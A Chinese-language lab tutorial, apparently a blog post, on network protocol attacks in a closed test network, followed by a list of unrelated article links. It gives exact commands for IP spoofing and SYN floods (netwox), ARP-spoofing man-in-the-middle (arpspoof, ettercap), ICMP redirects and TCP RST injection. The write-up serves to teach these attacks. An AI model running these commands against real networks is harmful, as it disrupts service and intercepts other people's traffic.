协议攻击(一)
目录
1.IP源地址欺骗攻击(dos攻击)
原理
客户端(kali)基于tcp第一次握手,给服务器端(centos)发送了大量标记位为SYN的包。 服务器端收到来自客户端的syn包后,对源ip返回标记位为syn_ack的包,这是第二次握手。 由于源ip是伪造的,所以返回的syn_ack包发送不到正确的地方,更不要说得到回应了。所以服务器端一直是SYN-RCVD阶段。
实验环境
靶机:centos 7 192.168.0.120 攻击机:kali linux 2020 192.168.0.118 网络拓扑环境:攻击机和靶机处于同一内网。
步骤
攻击机 伪造ip,发送包
netwox 52 -E "0:1:2:3:4:5" -I "114.114.114.114" -e "00:0c:29:83:36:d7" -i "192.168.0.120"
Netwox 52
使用netwox 的52号模块进行IP源地址欺骗;
-E
伪造的mac地址;
-I
伪造的ip地址,这里将ip地址伪装成114.114.114.114;
-e
一些资料说是目标mac地址,但是随便输入一个mac地址也可以;
-i
目标ip地址。
靶机 开启服务,监听端口 开启apache服务,然后使用tcpdump监听80端口
systemctl start httpd
tcpdump -i ens33 tcp port 80 -n -nn
为了监听80端口,所以这里开启apache服务 ens33 是你要开启监听的网卡,可以用ip a(或ifconfig)查看
这里centos监听到是114.114.114.114在发送数据,而不是攻击机的ip。说明伪装源ip成功
因为靶机一直是syn-rcvd
端,占用线程,所以如果伪造ip发送大量的包。影响其他正常用户的访问,就可以造成dos攻击
1.2 dos攻击
攻击机
kali
通过netwox的76模块对IP为192.168.0.120的80端口进行syn泛洪攻击
netwox 76 -i 192.168.0.120 -p 80
使用ctrl+z
停止攻击
靶机
开启监听
tcpdump -i ens33 tcp port 80 -n -nn
2.ARP欺骗中间人攻击
原理
ARP协议在设计时认为局域网内部的所有用户都是可信的,当攻击者渗透进入内网后,通过向局域网内节点缓存中注入伪造的IP/MAC映射关系,从而进行欺骗,成为局域网内的中间人节点,即可以监听并进一步篡改数据包。
简单来说,a广播ARP请求,询问IP地址为192.168.0.122的主机b的MAC地址。c收到广播帧,发出ARP应答,告诉a自己是192.168.0.122,MAC地址是cc:cc:cc:cc:cc:cc。(之后,a发给b的所有流量都会发给c)
再通俗点讲,就是a想与b通信,a就在通讯录(arp缓存表)里找b的联系方式。但是c已经提前把通信录改了,将b的联系方式换成自己的。所以a发给b的消息其实都是发给c。
一般有两种攻击方式: 一种是断网攻击。c只欺骗ab中的某一方,一般是ab另某一方是网关的情况下。比如a是网关,c欺骗了b。b以为是在和网关a在通信,实际上b是在与c通信,于是b联系不上网关,导致断网。
因为只欺骗其中一方,所以也叫单向欺骗。
arpspoof -i wlo1 -t 192.168.0.120 192.168.0.122
攻击机欺骗192.168.0.120这台主机,说我是192.168.0.122
第二种攻击方式是arp嗅探。c把ab双方都欺骗了,ab之间的通信都经过c,于是ab的通信内容被c窃取了
实验环境
靶机:centos 192.168.0.120 靶机:ubuntu 192.168.0.122 攻击机:kali 192.168.0.118 网络拓扑环境:攻击机和靶机处于同一内网。
步骤
首先,靶机查看arp缓存表,这里以centos为例
Arp -a
发现 ubuntu 192.168.0.122 的mac地址是00:0c:29:c2:35:04 kali 192.168.0.118 的mac地址是 00:0c:29:4d:43:00
然后,kali上使用ettercap进行中间人欺骗
ettercap -i eth0 -Tq -M arp:remote /192.168.0.120// /192.168.0.122//
192.168.0.120 、192.168.0.122是要欺骗的两个ip
此时,centos上再查看arp缓存表,发现,kali与ubuntu的mac地址一样了
当然,在ubuntu上面,发现kali与centos的mac地址一样
两个靶机都已经把kali当作了对方 此时kali另开一个终端,开启ip转发功能, 将0改为1
echo 1 > /proc/sys/net/ipv4/ip_forward
Kali 监听本地eth0网卡
ettercap -Tq -i eth0
当centos与ubuntu传输信息的时候,kali就能监听到信息
可供参考的资料
https://www.freebuf.com/articles/network/207238.html
3.ICMP重定向攻击和防御
原理
ICMP路由重定向攻击(ICMPRedirectAttack)是指攻击者伪装成路由器发送虚假的ICMP路由路径控制报文,使得受害主机选择攻击者指定的路由路径,从而进行嗅探或假冒攻击的一种技术。
实验环境
靶机:centos 192.168.0.120 攻击机:kali 192.168.0.118
步骤
查看centos中的路由表:
route –C -n
可以看到正常网关地址是102.168.0.1 linux系统中,默认不接受ICMP重定向报文。所以应该将0设置为1,就可进行ICMP重定向攻击。
echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/ens33/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/default/accept_redirects
这里要注意网卡是eth0还是ens33
使用netwox中86号模块发起ICMP路由重定向攻击
netwox 86 -g 192.168.0.118 -i 192.168.0.1
-g伪造路由ip(kali ip)
-i原路由ip
然后用centos去 ping一下百度 可以看到已经重定向了
对照一下这是正常情况下ping百度的场景
4.TCP协议RST攻击
原理
TCPRST攻击中,攻击主机kali可以通过嗅探方式监视通信双方win7和centos7之间的TCP连接,在获得源、目标IP地址及端口,以及序列号之后,就可以结合IP源地址欺骗技术伪装成通信一方,发送TCP重置报文给通信另一方,在确保端口号一致及序列号落入TCP窗口之内的情况下,即可直接关闭这个TCP连接,造成通信双方正常网络通信的中断,达到拒绝服务的效果。
环境
靶机:ubuntu 192.168.0.122 靶机:centos 192.168.0.120 攻击机:kali 192.168.0.118
步骤
ubuntu 使用nc开启一个端口监听(这里监听12345端口)
nc -lp 12345
Centos 使用telnet远程连接ubuntu的12345端口
telnet 192.168.0.122 12345
然后输入12,123(随便输入什么内容都行)
发现ubuntu这里也同步监听输出了12,123。说明tcp连接成功
然后Kali启用netwox 78模块进行tcp rst攻击
netwox 78 -i 192.168.0.120
此时centos再发送一个数据(这里是1)过去,两者就断开了连接
(这里kali伪装成centos 192.168.0.120 给 ubuntu 192.168.0.122发送了一个rst包,然后ubuntu认为centos要终止连接,便断开连接。)
5.SYN Flood攻击
原理
TCPSYNFlood,又称SYN洪泛攻击,是目前最为有效和流行的一种拒绝服务攻击形式。它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户提供服务。
环境
靶机:centos 192.168.0.120 攻击机:kali 192.168.0.118
步骤
Kali向centos 的22端口发起syn flood攻击 首先,centos7中查看当前22端口连接信息
Netstat -an|grep 22
然后kali对centos的22端口发起syn flood攻击
netwox 76 -i 192.168.0.120 -p 22
此时Centos7查看22端口的tcp流量,发现有大量SYN_RECV
状态的包
- jboss EAP 6.2 + Message Drive Bean(MDB) 整合IBM Webshpere MQ 7.5
- 通过jenkins API去build一个job
- Django---分页器、中间件
- 启动jenkins服务错误
- 如果未来的AI拥有意识,你舍得不理它吗?
- centos下安装python3
- jboss:在standalone.xml中设置系统属性(system-properties)
- iptables
- Django-form表单
- 比较git commit 两个版本之间次数
- eclipse: workspace出错导致无法启用的解决
- 【node错误】/usr/bin/env: node: No such file or directory
- Django比较相等或者不相等的模板语法ifequal / ifnotequal
- 使用testNGListenter来自定义日志
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Unity 基于excel2json批处理读取Excel表并反序列化
- dotnet OpenXML 文本 Text Line Break 的作用
- CVE-2020-1362 漏洞分析
- wpa_supplicant 框架
- 【LeetCode每日一题】25. Reverse Nodes in k-Group
- upload-labs第一关
- upload-labs第2~8关
- dotnet OpenXML 文本 ParagraphProperties 的属性作用
- 相信坚持的力量!Elastic 日报 1000期+ 了......
- dotnet OpenXML 文本 EndParagraphRunProperties 的作用
- dotnet OpenXML 文本字体的选择规则
- 获取手机nfc的MW version 和 FW version 记录
- Sublime编辑器配置Python环境
- dotnet OpenXML 从文档生成创建文档的代码的库
- 【LeetCode每日一题】24. Swap Nodes in Pairs